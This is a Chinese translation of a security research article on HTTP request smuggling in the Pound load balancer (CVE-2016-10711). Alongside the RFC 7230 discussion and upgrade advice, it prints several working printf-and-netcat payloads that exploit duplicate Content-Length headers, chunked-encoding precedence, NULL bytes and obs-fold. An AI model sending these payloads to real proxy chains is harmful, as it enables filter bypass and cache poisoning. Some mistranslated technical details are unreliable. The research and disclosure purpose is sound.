安全研究:HTTP Smuggling攻击

2019-04-04 约 4534 字 预计阅读 10 分钟

声明:本文 【安全研究:HTTP Smuggling攻击】 由作者 Pinging 于 2019-03-02 07:44:00 首发 先知社区 曾经 浏览数 728 次

感谢 Pinging 的辛苦付出!

本文为2018年十大网络黑客技术题名文章,欢迎读者来读

Pound?

Pound是一个开源HTTP负载均衡器,通常用作SSL/TLS终端(在http后端处理https与证书)。 在过去,这个工具被用于为网站添加SSL。

如果访问官方网站,你会看到pound被描述为负载均衡器、反向代理、SSL封装器以及删除工具:

HTTP/HTTPS处理程序:Pound会进行验证请求操作并接受格式正确的请求。

项目活动一直被拖延进行,2018年初发布的最后一个CVE引发了各界对某些项目的关注。Debian项目删除了软件包,不仅仅是因为其被爆出可用的CVE。新版本的openSSL的兼容性和缺乏项目活动对公司决策起到了关键的作用。

固定版本的Pound

如果我们现在检查此软件包的Debian页面状态,我们会发现该软件包已被删除,并且我们无法在任何开发存储库中找到它。这里存在三个安全隐患:版本过时、忽略了安全问题的稳定性并且是jessie(oldstable)其中之一。在我自己的测试过程中,我发现我无法在jessie上安装它,进一步测试后我发现了其内部存在的安全问题。

如果用户使用了Suse包,则可以使用安全更新操作。

在官方项目介绍页面上,officiel稳定版现在是Pound-2.8并包含修复程序。 第一个固定版本是2.8a,并且有很长一段时间只有这个实验版本可用。

版本2.8的源代码差异不是很大:(fossies1 | fossies2 | fossies3)
。 有趣的是,这些版本包含了HTTP Smuggling问题,包括功能的删除(动态扩展)和安全语法过滤器等。

CVE-2016-10711

官方描述如下:

在2.8a之前的Apsis Pound允许通过自行设计的消息头进行request smuggling

事实上,这里大多数的问题都是HTTP解析器常见的错误(还有一些罕见的问题,比如NULL字符处理)。在过去的几年里,我在许多项目中报告了类似的问题,所以研究这些攻击是值得的。

正如后面所解释的那样,作为SSl工具的Pound并不是smuggling攻击中最关键的部分。 在反向代理缓存或常见HTTP服务器上执行此类攻击对攻击者来说更有价值。 但是整个“HTTPsmuggling攻击”范例均是基于链接的多语法错误,所以每个用户均可以检测出非正常的消息头内容。

1-支持双倍长度内容:

任何带有2个Content-Length标头的请求都必须被拒绝。

RFC7230 section 3.3.2

如果收到的消息具有多个Content-Length头,其字段值包含相同的十进制值,或者单个Content-Length头,其字段值包含相同十进制值的列表(例如,“Content-Length” :42,42),表示消息处理器生成重复的Content-Length头字段,此时接收者必须拒绝该消息并设置其为无效或用单个有效Content-Length替换重复的字段值。在确定邮件正文长度之前包含该十进制值的字段。

RFC7230 section 3.3.3

如果在没有Transfer-Encoding的情况下收到消息并且Content-Length头字段具有不同字段值,则消息无效且接收者必须将其处理为错误。 如果这是请求消息,则服务器必须以400(错误请求)状态代码响应,然后关闭连接。

在Pound中,如果你发送如下请求:

Content-Length: 0
Content-Length: 147

返回结果:Size of Body = 0

如果你发送:

Content-Length: 147
Content-Length: 0

返回结果:Size of Body = 147

官方结果会将其处理为错误。 如果HTTP通信中的前一个actor包含相同的情况,那么用户将面临一个smuggling攻击隐患。
我们将在下面看到关于HTTP漏洞的一些示例,其目标通常大小不同,一个分析者发现3个请求,另一个认为只有2个。

2)Chunks会根据消息长度进行优先考虑

这里我们再次讨论RFC7230第3.3.3节,但另一点:

如果收到包含Transfer-EncodingContent-Length字段的消息,则Transfer-Encoding将覆盖整个Content-Length。 这样的消息表示了执行请求smuggling响应拆分操作,并且应该作为错误进行处理。

因此我们这里的设置是拒绝该消息(现在大多数服务器都是这种情况)。倘若不进行拒绝操作,则分块传输在任何Content-Length头上都具有优先级。

使用Pound是令第一个消息头具有读取优先级。

我们来看一个例子吧。 在这里,我让Pound Server127.0.0.1上侦听HTTP端口8080。 (所以没有HTTPS支持,但相信我在HTTPS模式下所有的攻击都是一样的,你甚至可以使用openssl_client而不是netcat来输出一些printf输出)。 在Pound中,任何端口均可以与HTTP服务器(后端)进行通信。

  • 我使用printf来反馈HTTP查询结果。由于我想要对所有字符进行完全控制,所以我没有使用curl或wget。

  • 我将所有查询链接在一个单独的字符串中,然而我没有等待每个查询之间的响应,这称为HTTP pipeline,然而没有pipelining服务器上的支持(这里是Pound)我什么也做不了。

  • 我将此字符串(HTTP查询)发送到netcat(命令nc),这是一个非常低级别的命令,它可以控制目标IP和端口的tcp/ip连接。

  • 这与使用浏览器或curl发送HTTP查询相同,不过我可以对消息头进行完全控制。

  • 攻击者的目标是发送不同数量查询的消息,这是技术目标。 这个功能是绕过过滤器或领缓存失效。像XSS的alert()功能,如果你的有效响应数量出现错误,那么这里就不仅仅是功能问题,而是安全隐患。

  • 如果在测试环境中进行使用,那么我们应该跟踪Pound在后端发送的请求,例如使用Wireshark。 管道的每个请求将单独发送到后端,而不是发送到管道中。

# 2 responses instead of 3
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-length:56\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Dummy:Header\r\n\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080

有3个查询能进行有效的解析:

第一个:

GET / HTTP/1.1[CRLF]
Host:localhost[CRLF]
**Content-length:56[CRLF]** (ignored and usually not send back to the backend)
Transfer-Encoding: chunked[CRLF]
Dummy:Header[CRLF]
[CRLF]
0[CRLF]  (end of chunks -> end of message)
[CRLF]

第二个:

GET /tmp HTTP/1.1[CRLF]
Host:localhost[CRLF]
Dummy:Header[CRLF]

第三个:

GET /tests HTTP/1.1[CRLF]
Host:localhost[CRLF]
Dummy:Header[CRLF]

对于无效的解析操作(这里是Pound),只有2个查询,第一个是:

GET / HTTP/1.1[CRLF]
Host:localhost[CRLF]
Content-length:56[CRLF]
**Transfer-Encoding: chunked[CRLF]** (ignored and removed, hopefully)
Dummy:Header[CRLF]
[CRLF]
0[CRLF]  (start of 56 bytes of body)
[CRLF]
GET /tmp HTTP/1.1[CRLF]
Host:localhost[CRLF]
Dummy:Header[CRLF] (end of 56 bytes of body, not parsed)

传输失败

RFC7230 section 3.3.3

如果请求中存在Transfer-Encoding头字段并且分块传输编码不是最终编码,那么我们无法地确定消息体长度; 服务器必须使用400(错误请求)状态代码进行响应,然后关闭连接。

使用Transfer-Encoding:chunked, zorg可以使我们没有错误400代码。

标头中为NULL - >concatenation

这是一个原始并且罕见的问题。

像大多数HTTP服务器一样,Pound用C语言编写,C字符串以NULL字符(\ 0)结尾。 在HTTP请求中查找NULL字符会出现错误,但有时解析器不会检测到NULL字符,因为解析的行被错误地解释为C字符串。

使用Pound,一旦在消息头中遇到NULL字符,解析器将继续使用下一行的消息头。

# 2 responses instead of 3 (2nd query is wipped out by pound, used as a body)
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-\0dummy: foo\r\n'\
'length: 56\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080

这是使用Double Content-length Support的具有另一个处理方法。 如果代理链中的前一个请求不支持double Content-Length,但可以支持NULL字符,则可以使用此方法。

# 2 responses instead of 3 (2nd query is wipped out by pound, used as a body)
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-\0dummy: foo\r\n'\
'length: 51\r\n'\
'Content-length: 0\r\n'\
'\r\n'\
'GET /tmp HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
# 3 responses instead of 2 (2nd query is unmasked by pound)
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-\0Mode: magic\r\n'\
'Encoding: chunked\r\n'\
'Content-length: 57\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080

如果你复现到这里,你可以比较最后两个例子。 在第一个例子中,我们进行了一个恶意的分块传输,在最后一个例子中我们使用ops-fold语法。 使用wireshark来比较行为和传输到后端的一些消息语法。

# chunk mode not applied
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-\0Mode: magic\r\n'\
'Encoding: chunked,zorg\r\n'\
'Content-length: 57\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
# chunk mode applied, and '\r\n zorg\r\n' ops-fold transmitted
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-\0Mode: magic\r\n'\
'Encoding: chunked\r\n'\
' zorg\r\n'\
'Content-length: 57\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080

5)传输问题

这种异常的ops-fold语法传输可能带来安全隐患,之后它在版本2.8中被删除。 通常,支持ops-fold的反向代理不会进行语法传输(将所有信息都体现在一行数据上)。

以下是与之类似的传输问题(遗憾的是这些漏洞没有被修复):

printf 'GET / HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Transfer-Encoding: chunked\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ '0000000000000000000000000000042\r\n'\ '\r\n'\ 'GET /tmp/ HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Transfer-Encoding: chunked\r\n'\ '\r\n'\ '0\r\n'\ '\r\n'\ | nc -q3 127.0.0.1 8080

这并不是无效的查询。 第一个块大小是六进制42,所以它是66个字节。 第二个块是块结束标记,最后两行是0 \ r \ n \ r \ nGET / tmp /查询不存在,第一个块中没有对它进行解释。

但如果使用wireshark,我们将检测到此消息按原样传输,0000000000000000000000000000042未重新更新为42042。麻烦的是,对于某些后端(块大小属性截断问题),此语法有时会出现问题,比如将0000000000000000000000000000042读取为00000000000000000,并错误地将其检测为块结束标记,然后错误的发现GET / tmp /查询。

当然这里的安全问题是出现在后端,而不是Pound。 其他一些传输问题已得到修复,例如下列语法:

GET /url?foo=[SOMETHING]HTTP/0.9 HTTP/1.1\r\n or GET /url?foo=[SOMETHING]Host:example.com, HTTP/1.1\r\n

使用[SOMETHING] = BACKSPACECRBELLFORM FEEDTAB

安全性

错误的HTTP语法解析是一个安全隐患,主要问题是HTTP请求网络中的任何危险HTTP请求都会成为攻击源头,之前的请求会成为受害方。

遭受Request拆分的请求会错误地读取无效的内容并从中提取查询结果。在这之前并没有任何请求可以过滤此查询。

这就是为什么RFC对于消息大小的语法解析有最低的要求。

在安装过程中,Pound将成为SSL终端,通常是链中的第一个服务器端请求。

在这个位置,请求拆分攻击很难被利用。也许它可能被用来攻击客户端的转发代理,但它不能用于攻击后端。

_____________________________              _________________________________
|      Client Side          |              |     Server Side               |
Browser ---> Forward proxy ------Internet---> Pound ---> Varnish ---> Nginx
                    NAIL? <================== HAMMER?
                                              NAIL? <==== HAMMER?

其他出现在Pound前面的HTTPS负载均衡器会更具危险,因为Pound可以用来向这些代理发送一些额外的响应(WAF?)。

从攻击者的角度来看,最有效的攻击点是传输问题,其中的消息头由Pound传输到后端。 然而在后端我们经常会遇到一些问题,所以向后端发送错误的查询并不是明智之举。

这里存在两个主要的漏洞,双内容长度和不考虑分块优先级,这些问题在后端比在前端更危险。 在我看来,这减少了对这些问题的利用的影响。 然而由于代理没有进行任何拆分操作,就只是转发了这些危险的代码,从而导致了这些恶意行为的产生。

如何使用Pound?

首先你可以使用Pound 2.8, 或带有补丁的2.7.x。

如果用户的发行版上没有固定版本,那么我们可以尝试编译Pound 2.8。 我在jessie上编写了几个Pound的汇编,并且难度不大 (configure/make/make install)。

参考链接

本文为翻译稿件,翻译自:https://regilero.github.io/security/english/2018/07/03/security_pound_http_smuggling/

关键词:[‘技术文章’, ‘翻译文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now